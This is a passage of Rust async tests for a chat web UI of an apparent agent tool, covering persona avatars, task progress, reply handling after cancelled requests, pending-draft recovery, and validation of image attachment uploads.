14792 "data:image/png;base64,{}",
14793 "A".repeat(persona_icon::ICON_MAX_BYTES)
14794 );
14795 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14796 let extra = format!(
14797 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14798 );
14799 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14800 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14801 .await
14802 .expect("detail with invalid icon");
14803 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14804 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14805 assert_eq!(status, StatusCode::OK);
14806 assert_eq!(ct, "image/svg+xml");
14807 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14808 let Json(view) = talk_persona(
14809 State(Arc::clone(&ui)),
14810 Path(id.clone()),
14811 Json(TalkPersona {
14812 persona: "custom".into(),
14813 }),
14814 )
14815 .await
14816 .expect("persona switch with invalid icon");
14817 assert_eq!(view.talk.persona, "custom");
14818 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14819 }
14820 }
14821
14822 #[tokio::test]
14823 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14824 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14825 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14826 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14827 assert_eq!(
14828 (status, ct.as_str(), nosniff, csp),
14829 (StatusCode::OK, "image/svg+xml", true, true)
14830 );
14831 }
14832
14833 #[tokio::test]
14834 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14835 let (_t, _h, ui, id, _repo) =
14836 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14837 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14838 .await
14839 .expect("detail");
14840 let json = serde_json::to_string(&detail).unwrap();
14841 assert!(
14842 !json.contains("secret"),
14843 "the icon setting must not leak: {json}"
14844 );
14845 assert!(
14846 detail
14847 .view
14848 .persona_avatar
14849 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14850 );
14851 assert_eq!(
14852 detail.view.operator_avatar,
14853 format!(
14854 "/avatars/operator.svg?v={}",
14855 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14856 )
14857 );
14858 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14859 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14860 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14861 assert!(rei.avatar.contains("persona=rei&v="));
14862 assert_ne!(
14863 rei.avatar.split("&v=").nth(1),
14864 plain.avatar.split("&v=").nth(1)
14865 );
14866 }
14867
14868 #[tokio::test]
14869 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14870 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14871 let cfg = config_for(&repo).await.unwrap();
14872 for arrived in [false, true] {
14873 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14874 let observed = ui.queued_generation(&id);
14875 let talk = ui.talks.get(&id).unwrap();
14876 if arrived {
14877 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14878 }
14879 let mut settling = std::pin::pin!(settle_settings_turn(
14880 talk,
14881 ui.talks.clone(),
14882 cfg.clone(),
14883 id.clone(),
14884 turn,
14885 observed
14886 ));
14887 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14888 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14889 assert_eq!(first.is_pending(), arrived);
14890 if arrived {
14891 assert!(!settling.await);
14892 }
14893 assert!(!ui.is_thinking(&id));
14894 }
14895 }
14896
14897 #[tokio::test]
14898 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14899 let tmp = TempDir::new().expect("tempdir");
14900 let repo = tmp.path().join("repo");
14901 std::fs::create_dir_all(&repo).expect("repo dir");
14902 std::fs::write(
14903 repo.join("magi.toml"),
14904 format!(
14905 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14906 ),
14907 )
14908 .expect("write magi.toml");
14909 let home = TempDir::new().expect("temp home");
14910 let talks = Talks::at(home.path().join("talks"));
14911 let ui = Arc::new(
14912 Ui::new(
14913 Queue::at(home.path().join("queue")),
14914 Questions::at(home.path().join("questions")),
14915 talks.clone(),
14916 home.path().join("runs"),
14917 home.path().to_path_buf(),
14918 repo.clone(),
14919 )
14920 .with_worktrees_root(home.path().join("wt")),
14921 );
14922 let cfg = config_for(&repo).await.expect("discover config");
14923 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14924 let id = talk.id.clone();
14925 let call = |persona: &str| {
14926 talk_persona(
14927 State(Arc::clone(&ui)),
14928 Path(id.clone()),
14929 Json(TalkPersona {
14930 persona: persona.to_owned(),
14931 }),
14932 )
14933 };
14934
14935 let unknown = call("nobody").await.expect_err("unknown persona");
14936 assert_eq!(
14937 unknown.status,
14938 StatusCode::BAD_REQUEST,
14939 "{}",
14940 unknown.message
14941 );
14942
14943 {
14944 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14947 let busy = call("rei").await.expect_err("busy talk");
14948 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14949 assert!(
14950 busy.message.contains("a talk turn is running"),
14951 "{}",
14952 busy.message
14953 );
14954 drop(guard);
14955 }
14956 assert_eq!(talks.get(&id).expect("reload").persona, "");
14957
14958 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14959 assert_eq!(view.talk.persona, "gendo");
14960 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14961 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14962 for chosen in ["default", "gendo", "rei", "gendo"] {
14964 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14965 assert!(!view.thinking);
14966 assert!(!ui.is_thinking(&id));
14967 }
14968
14969 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14970 .await
14971 .expect("detail");
14972 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14973 assert_eq!(ids.first(), Some(&"default"));
14974 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14975
14976 let Json(view) = call("default").await.expect("back to default");
14977 assert_eq!(view.talk.persona, "");
14978
14979 let mut closed = talks.get(&id).expect("reload");
14980 talk::close(&mut closed, &talks).expect("close");
14981 let refused = call("rei").await.expect_err("closed talk");
14982 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14983 assert!(
14984 refused.message.contains("takes no more turns"),
14985 "{}",
14986 refused.message
14987 );
14988 }
14989
14990 #[tokio::test]
14991 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14992 let f = Fixture::start().await;
14993 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14994 let queue = f.queue();
14995 let mut mine = Task::new(
14996 "rename the loader".to_owned(),
14997 "rename the loader".to_owned(),
14998 PathBuf::from("/repo/magi"),
14999 Source::Agent {
15000 run: talk_id.clone(),
15001 node: "chat".to_owned(),
15002 },
15003 );
15004 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15005 assert_eq!(empty["task_progress"]["state"], "none");
15006 assert_eq!(empty["task_progress"]["total"], 0);
15007 queue.put(&mut mine).expect("file the task");
15008 let mut theirs = Task::new(
15009 "unrelated".to_owned(),
15010 "unrelated".to_owned(),
15011 PathBuf::from("/repo/magi"),
15012 Source::Human,
15013 );
15014 theirs.origin_chat = Some(talk_id.clone());
15016 queue.put(&mut theirs).expect("file the task");
15017
15018 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15019 assert_eq!(res.status, 200, "{}", res.body);
15020 let body = res.json();
15021 assert_eq!(
15022 body["status"], "open",
15023 "filing a task does not close a talk"
15024 );
15025 let tasks = body["tasks"].as_array().expect("tasks array");
15026 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15027 assert_eq!(tasks[0]["id"], mine.id);
15028 for status in [
15029 TaskStatus::Queued,
15030 TaskStatus::Running,
15031 TaskStatus::Held,
15032 TaskStatus::Failed,
15033 TaskStatus::Blocked,
15034 TaskStatus::Parked,
15035 TaskStatus::Done,
15036 TaskStatus::Queued,
15037 ] {
15038 mine.status = status;
15039 queue.put(&mut mine).expect("update status");
15040 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15041 let progress = &detail["task_progress"];
15042 assert_eq!(progress["total"], 1);
15043 assert_eq!(progress["counts"][status.as_str()], 1);
15044 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15045 assert_eq!(detail["status"], "open", "completion never closes the chat");
15046 if status == TaskStatus::Done {
15047 assert_eq!(progress["state"], "complete");
15048 assert_eq!(progress["done"], 1);
15049 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15050 } else {
15051 assert_eq!(progress["state"], "incomplete");
15052 assert_eq!(progress["done"], 0);
15053 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15054 }
15055 }
15056 }
15057
15058 #[test]
15059 fn talk_task_progress_counts_mixed_statuses() {
15060 let mut tasks: Vec<_> = [
15061 TaskStatus::Queued,
15062 TaskStatus::Running,
15063 TaskStatus::Held,
15064 TaskStatus::Failed,
15065 TaskStatus::Blocked,
15066 TaskStatus::Parked,
15067 TaskStatus::Done,
15068 ]
15069 .into_iter()
15070 .map(|status| {
15071 let mut task = Task::new(
15072 "task".into(),
15073 "task".into(),
15074 PathBuf::from("/repo"),
15075 Source::Human,
15076 );
15077 task.status = status;
15078 task
15079 })
15080 .collect();
15081 let progress = talk_task_progress(&tasks);
15082 assert_eq!(progress.state, "incomplete");
15083 assert_eq!(progress.total, 7);
15084 assert_eq!(progress.done, 1);
15085 assert_eq!(progress.unfinished_ids.len(), 6);
15086 assert!(progress.counts.values().all(|count| *count == 1));
15087 assert_eq!(
15088 progress.unfinished_ids,
15089 tasks[..6]
15090 .iter()
15091 .map(|task| task.id.clone())
15092 .collect::<Vec<_>>()
15093 );
15094
15095 for task in &mut tasks {
15096 task.status = TaskStatus::Done;
15097 }
15098 let complete = talk_task_progress(&tasks);
15099 assert_eq!(complete.state, "complete");
15100 assert_eq!(complete.done, 7);
15101 assert!(complete.unfinished_ids.is_empty());
15102 tasks[0].status = TaskStatus::Queued;
15103 let requeued = talk_task_progress(&tasks);
15104 assert_eq!(requeued.state, "incomplete");
15105 assert_eq!(requeued.done, 6);
15106 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15107
15108 let empty = talk_task_progress(&[]);
15109 assert_eq!(empty.state, "none");
15110 assert_eq!(empty.total, 0);
15111 assert_eq!(empty.done, 0);
15112 assert!(empty.unfinished_ids.is_empty());
15113 assert!(empty.counts.values().all(|count| *count == 0));
15114 }
15115
15116 #[tokio::test]
15117 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15118 let (_tmp, _repo, f) = talk_fixture().await;
15119 let id = f.post("/api/talks", None).await.json()["id"]
15120 .as_str()
15121 .expect("id")
15122 .to_owned();
15123
15124 let res = f
15125 .post(
15126 &format!("/api/talks/{id}/say"),
15127 Some(r#"{"text":"what does the queue module do?"}"#),
15128 )
15129 .await;
15130 assert_eq!(res.status, 202, "{}", res.body);
15131 let queued = res.json();
15132 let turns = queued["turns"].as_array().expect("turns array");
15133 assert_eq!(
15134 turns.len(),
15135 1,
15136 "the answer reflects only what is on disk the instant it is sent, \
15137 before the agent's turn - which can run for the whole of \
15138 `[graph] timeout_talk` - has a chance to land: {queued}"
15139 );
15140 assert_eq!(turns[0]["who"], "operator");
15141 assert_eq!(turns[0]["body"], "what does the queue module do?");
15142 assert_eq!(
15143 queued["thinking"], true,
15144 "the accepted response exposes the background turn claim: {queued}"
15145 );
15146
15147 let mut turns_after = 1;
15148 for _ in 0..SETTLE_STEPS {
15149 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15150 turns_after = detail["turns"].as_array().expect("turns array").len();
15151 if turns_after == 2 {
15152 break;
15153 }
15154 tokio::time::sleep(Duration::from_millis(10)).await;
15155 }
15156 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15157 }
15158
15159 #[tokio::test]
15186 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15187 let tmp = TempDir::new().expect("tempdir");
15188 let repo = tmp.path().join("repo");
15189 std::fs::create_dir_all(&repo).expect("repo dir");
15190 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15191 let home = TempDir::new().expect("temp home");
15192 let talks = Talks::at(home.path().join("talks"));
15193 let ui = Arc::new(
15194 Ui::new(
15195 Queue::at(home.path().join("queue")),
15196 Questions::at(home.path().join("questions")),
15197 talks.clone(),
15198 home.path().join("runs"),
15199 home.path().to_path_buf(),
15200 repo.clone(),
15201 )
15202 .with_worktrees_root(home.path().join("wt")),
15203 );
15204 let cfg = config_for(&repo).await.expect("discover config");
15205
15206 for delay in 0..40u32 {
15207 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15208 let id = talk.id.clone();
15209
15210 let handler = tokio::spawn(talk_say(
15211 State(Arc::clone(&ui)),
15212 Path(id.clone()),
15213 Ok(Json(NewTalkTurn {
15214 reply_to: None,
15215 text: "what does the queue module do?".to_owned(),
15216 attachments: Vec::new(),
15217 })),
15218 ));
15219 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15220 handler.abort();
15221 let _ = handler.await;
15224
15225 let mut turns = 0;
15226 for _ in 0..SETTLE_STEPS {
15227 if let Ok(fresh) = talks.get(&id) {
15228 turns = fresh.turns.len();
15229 if turns != 1 {
15230 break;
15231 }
15232 }
15233 tokio::time::sleep(Duration::from_millis(10)).await;
15234 }
15235 assert_ne!(
15236 turns, 1,
15237 "delay {delay}: talk {id} recorded the operator's turn but \
15238 the agent never answered - the reply task was never \
15239 started after the handler future was dropped"
15240 );
15241 }
15242 }
15243
15244 #[tokio::test]
15289 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15290 let tmp = TempDir::new().expect("tempdir");
15291 let repo = tmp.path().join("repo");
15292 std::fs::create_dir_all(&repo).expect("repo dir");
15293 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15294 let home = TempDir::new().expect("temp home");
15295 let talks = Talks::at(home.path().join("talks"));
15296 let ui = Arc::new(
15297 Ui::new(
15298 Queue::at(home.path().join("queue")),
15299 Questions::at(home.path().join("questions")),
15300 talks.clone(),
15301 home.path().join("runs"),
15302 home.path().to_path_buf(),
15303 repo.clone(),
15304 )
15305 .with_worktrees_root(home.path().join("wt")),
15306 );
15307 let cfg = config_for(&repo).await.expect("discover config");
15308
15309 for attempt in 0..3u32 {
15310 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15311 let id = talk.id.clone();
15312 let turn_guard = ui
15315 .begin_talk_turn(&id)
15316 .expect("claim the turn")
15317 .expect("a fresh talk owes nobody a turn");
15318
15319 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15320 let (release_tx, release_rx) = std::sync::mpsc::channel();
15321 ui.set_busy_queue_gate(BusyQueueGate {
15322 reached: reached_tx,
15323 release: release_rx,
15324 });
15325
15326 let handler = tokio::spawn(talk_say(
15327 State(Arc::clone(&ui)),
15328 Path(id.clone()),
15329 Ok(Json(NewTalkTurn {
15330 reply_to: None,
15331 text: "what does the queue module do?".to_owned(),
15332 attachments: Vec::new(),
15333 })),
15334 ));
15335
15336 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15341 .await
15342 .unwrap_or_else(|_| {
15343 panic!(
15344 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15345 )
15346 })
15347 .expect("the busy branch dropped the gate without using it");
15348 assert!(
15349 crate::consult::try_publication_guard(&talks, &id)
15350 .expect("publication fence")
15351 .is_none(),
15352 "a queued worker cannot promote text before its successor reservation is published"
15353 );
15354
15355 let closing = Arc::clone(&ui.admissions).write_owned();
15359 tokio::pin!(closing);
15360 std::future::poll_fn(|cx| {
15361 assert!(closing.as_mut().poll(cx).is_pending());
15362 std::task::Poll::Ready(())
15363 })
15364 .await;
15365 assert!(
15366 ui.begin_admission().is_err(),
15367 "replacement blocks later admissions"
15368 );
15369
15370 let running = talks.get(&id).expect("reload talk");
15377 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15378
15379 handler.abort();
15383 let _ = handler.await;
15384 std::future::poll_fn(|cx| {
15385 assert!(
15386 closing.as_mut().poll(cx).is_pending(),
15387 "HTTP cancellation must not abandon a publishing transaction"
15388 );
15389 std::task::Poll::Ready(())
15390 })
15391 .await;
15392 assert!(
15393 crate::consult::try_publication_guard(&talks, &id)
15394 .expect("publication fence after disconnect")
15395 .is_none()
15396 );
15397
15398 let _ = release_tx.send(());
15404 drop(
15405 tokio::time::timeout(Duration::from_secs(5), closing)
15406 .await
15407 .expect("short admission transaction should release for replacement"),
15408 );
15409 assert!(
15410 crate::consult::try_publication_guard(&talks, &id)
15411 .expect("publication fence after acknowledgement")
15412 .is_some(),
15413 "the publication fence is not retained by the long response"
15414 );
15415
15416 let mut fresh = talks.get(&id).expect("reload talk");
15419 for _ in 0..SETTLE_STEPS {
15420 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15421 break;
15422 }
15423 tokio::time::sleep(Duration::from_millis(10)).await;
15424 fresh = talks.get(&id).expect("reload talk");
15425 }
15426 assert!(
15427 fresh.pending.is_empty() && fresh.turns.len() == 2,
15428 "attempt {attempt}: talk {id} left the operator's text queued \
15429 with no drainer - the reclaimed turn was dropped along with \
15430 the handler future (pending {:?}, {} turns)",
15431 fresh.pending,
15432 fresh.turns.len()
15433 );
15434 }
15435 }
15436
15437 #[tokio::test]
15438 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15439 let (_tmp, _repo, f) = talk_fixture().await;
15440 let id = f.post("/api/talks", None).await.json()["id"]
15441 .as_str()
15442 .expect("id")
15443 .to_owned();
15444 let store = f.talks();
15445 let mut recovered = store.get(&id).expect("opened talk");
15446 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15447 .expect("persist pending draft without a live turn");
15448
15449 let edited = f
15450 .post(
15451 &format!("/api/talks/{id}/pending/edit"),
15452 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15453 )
15454 .await;
15455 assert_eq!(edited.status, 200, "{}", edited.body);
15456 assert!(edited.json()["thinking"].as_bool().unwrap());
15457
15458 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15459 for _ in 0..SETTLE_STEPS {
15460 if detail["turns"].as_array().expect("turns").len() == 2 {
15461 break;
15462 }
15463 tokio::time::sleep(Duration::from_millis(10)).await;
15464 detail = f.get(&format!("/api/talks/{id}")).await.json();
15465 }
15466 let turns = detail["turns"].as_array().expect("turns");
15467 assert_eq!(
15468 turns.len(),
15469 2,
15470 "the recovered draft must run once: {detail}"
15471 );
15472 assert_eq!(turns[0]["body"], "corrected");
15473 assert_eq!(detail["pending"], "");
15474 }
15475
15476 #[tokio::test]
15477 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15478 let tmp = TempDir::new().expect("tempdir");
15479 let repo = tmp.path().join("repo");
15480 std::fs::create_dir_all(&repo).expect("repo dir");
15481 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15482 let f = Fixture::with_repo(repo).await;
15483 let id = f.post("/api/talks", None).await.json()["id"]
15484 .as_str()
15485 .expect("id")
15486 .to_owned();
15487 let store = f.talks();
15488 let mut recovered = store.get(&id).expect("opened talk");
15489 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15490 .expect("persist pending draft without a live turn");
15491
15492 let refused = f
15493 .post(
15494 &format!("/api/talks/{id}/say"),
15495 Some(r#"{"text":"new message"}"#),
15496 )
15497 .await;
15498 assert_eq!(refused.status, 409, "{}", refused.body);
15499 assert!(refused.body.contains("resume"), "{}", refused.body);
15500 let saved = store.get(&id).expect("draft remains after refusal");
15501 assert!(saved.turns.is_empty());
15502 assert_eq!(saved.pending, "saved before restart");
15503
15504 let say_path = format!("/api/talks/{id}/say");
15505 let (first, second) = tokio::join!(
15506 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15507 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15508 );
15509 assert_eq!(first.status, 409, "{}", first.body);
15510 assert_eq!(second.status, 409, "{}", second.body);
15511 let saved = store
15512 .get(&id)
15513 .expect("draft remains after concurrent refusals");
15514 assert!(saved.turns.is_empty());
15515 assert_eq!(saved.pending, "saved before restart");
15516
15517 let resumed = f
15518 .post(&format!("/api/talks/{id}/pending/resume"), None)
15519 .await;
15520 assert_eq!(resumed.status, 202, "{}", resumed.body);
15521 let duplicate = f
15522 .post(&format!("/api/talks/{id}/pending/resume"), None)
15523 .await;
15524 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15525
15526 for _ in 0..SETTLE_STEPS {
15527 if store.get(&id).expect("talk").turns.len() == 2 {
15528 break;
15529 }
15530 tokio::time::sleep(Duration::from_millis(10)).await;
15531 }
15532 let finished = store.get(&id).expect("finished talk");
15533 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15534 assert_eq!(finished.turns[0].body, "saved before restart");
15535 assert!(finished.pending.is_empty());
15536 }
15537
15538 #[tokio::test]
15539 async fn an_image_only_recovered_draft_resumes_without_text() {
15540 let (_tmp, _repo, f) = talk_fixture().await;
15541 let id = f.post("/api/talks", None).await.json()["id"]
15542 .as_str()
15543 .expect("id")
15544 .to_owned();
15545 let uploaded = f
15546 .post_bytes(
15547 &format!("/api/talks/{id}/attachments"),
15548 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15549 PNG_BYTES,
15550 )
15551 .await;
15552 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15553 let attachment = f
15554 .talks()
15555 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15556 .expect("attachment metadata")
15557 .expect("stored attachment");
15558 let store = f.talks();
15559 let mut recovered = store.get(&id).expect("opened talk");
15560 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15561
15562 let resumed = f
15563 .post(&format!("/api/talks/{id}/pending/resume"), None)
15564 .await;
15565 assert_eq!(resumed.status, 202, "{}", resumed.body);
15566 for _ in 0..SETTLE_STEPS {
15567 if store.get(&id).expect("talk").turns.len() == 2 {
15568 break;
15569 }
15570 tokio::time::sleep(Duration::from_millis(10)).await;
15571 }
15572 let finished = store.get(&id).expect("finished talk");
15573 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15574 assert!(finished.turns[0].body.is_empty());
15575 assert_eq!(finished.turns[0].attachments.len(), 1);
15576 assert!(finished.pending_attachments.is_empty());
15577 }
15578
15579 #[tokio::test]
15580 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15581 let (_tmp, _repo, f) = talk_fixture().await;
15582 let id = f.post("/api/talks", None).await.json()["id"]
15583 .as_str()
15584 .expect("id")
15585 .to_owned();
15586 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15587 assert_eq!(closed.status, 200, "{}", closed.body);
15588 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15589 .expect("serialize closed talk");
15590 for (path, body) in [
15591 (format!("/api/talks/{id}/pending/resume"), None),
15592 (
15593 format!("/api/talks/{id}/pending/clear"),
15594 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15595 ),
15596 (
15597 format!("/api/talks/{id}/pending/edit"),
15598 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15599 ),
15600 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15601 ] {
15602 let response = f.post(&path, body).await;
15603 assert_eq!(response.status, 409, "{}", response.body);
15604 }
15605 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15606 .expect("serialize closed talk");
15607 assert_eq!(
15608 after_clear, before_clear,
15609 "clear must not rewrite a closed talk"
15610 );
15611 }
15612
15613 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15616
15617 #[tokio::test]
15618 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15619 let tmp = TempDir::new().expect("tempdir");
15620 let repo = tmp.path().join("repo");
15621 std::fs::create_dir_all(&repo).expect("repo dir");
15622 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15623 let f = Fixture::with_repo(repo).await;
15624 let id_a = f.post("/api/talks", None).await.json()["id"]
15625 .as_str()
15626 .unwrap()
15627 .to_owned();
15628 let id_b = f.post("/api/talks", None).await.json()["id"]
15629 .as_str()
15630 .unwrap()
15631 .to_owned();
15632
15633 let a = f
15634 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15635 .await;
15636 assert_eq!(a.status, 202, "{}", a.body);
15637 assert_eq!(a.json()["thinking"], true);
15638 let b = f
15639 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15640 .await;
15641 assert_eq!(b.status, 202, "{}", b.body);
15642 assert_eq!(b.json()["thinking"], true);
15643
15644 let listed = f.get("/api/talks").await.json();
15645 for id in [&id_a, &id_b] {
15646 let view = listed
15647 .as_array()
15648 .unwrap()
15649 .iter()
15650 .find(|talk| talk["id"] == *id)
15651 .unwrap();
15652 assert_eq!(view["thinking"], true, "{listed}");
15653 }
15654 let repeated = f
15655 .post(
15656 &format!("/api/talks/{id_a}/say"),
15657 Some(r#"{"text":"again"}"#),
15658 )
15659 .await;
15660 assert_eq!(repeated.status, 202, "{}", repeated.body);
15661 assert_eq!(repeated.json()["pending"], "again");
15662 }
15663
15664 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15667
15668 #[tokio::test]
15669 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15670 let f = Fixture::start().await;
15671 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15672
15673 let res = f
15674 .post_bytes(
15675 &format!("/api/talks/{id}/attachments"),
15676 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15677 PNG_BYTES,
15678 )
15679 .await;
15680 assert_eq!(res.status, 201, "{}", res.body);
15681 let body = res.json();
15682 assert_eq!(body["name"], "shot.png");
15683 assert_eq!(body["mime"], "image/png");
15684 assert_eq!(body["bytes"], PNG_BYTES.len());
15685 let att_id = body["id"].as_str().expect("id").to_owned();
15686 assert_eq!(
15687 att_id.len(),
15688 32,
15689 "the id must never be a client-suppliable path: {att_id}"
15690 );
15691
15692 let got = f
15693 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15694 .await;
15695 assert_eq!(got.status, 200, "{}", got.body);
15696 assert_eq!(got.header("content-type"), Some("image/png"));
15697 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15698 assert_eq!(got.bytes, PNG_BYTES);
15699 }
15700
15701 #[tokio::test]
15702 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15703 let f = Fixture::start().await;
15704 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15705
15706 let svg = f
15709 .post_bytes(
15710 &format!("/api/talks/{id}/attachments"),
15711 &[("Content-Type", "image/svg+xml")],
15712 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15713 )
15714 .await;
15715 assert!(
15716 (400..500).contains(&svg.status),
15717 "svg must be refused: {} {}",
15718 svg.status,
15719 svg.body
15720 );
15721 assert!(svg.body.contains("SVG"), "{}", svg.body);
15722
15723 let text = f
15724 .post_bytes(
15725 &format!("/api/talks/{id}/attachments"),
15726 &[("Content-Type", "text/plain")],
15727 b"just some text",
15728 )
15729 .await;
15730 assert!(
15731 (400..500).contains(&text.status),
15732 "an unlisted type must be refused: {} {}",
15733 text.status,
15734 text.body
15735 );
15736
15737 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15740 let big = f
15741 .post_bytes(
15742 &format!("/api/talks/{id}/attachments"),
15743 &[("Content-Type", "image/png")],
15744 &oversized,
15745 )
15746 .await;
15747 assert_eq!(
15748 big.status,
15749 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15750 "{}",
15751 big.body
15752 );
15753 }
15754
15755 #[tokio::test]
15756 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15757 let f = Fixture::start().await;
15758 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15759
15760 let res = f
15763 .post_bytes(
15764 &format!("/api/talks/{id}/attachments"),
15765 &[("Content-Type", "image/png")],
15766 b"<html>not a picture</html>",
15767 )
15768 .await;
15769 assert!((400..500).contains(&res.status), "{}", res.body);
15770 }
15771
15772 #[tokio::test]
15773 async fn an_unknown_attachment_id_is_a_404() {
15774 let f = Fixture::start().await;
15775 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15776
15777 let res = f
15778 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15779 .await;
15780 assert_eq!(res.status, 404, "{}", res.body);
15781 }
15782
15783 #[tokio::test]
15784 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15785 let f = Fixture::start().await;
15786 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15787
15788 let uploaded = f
15789 .post_bytes(
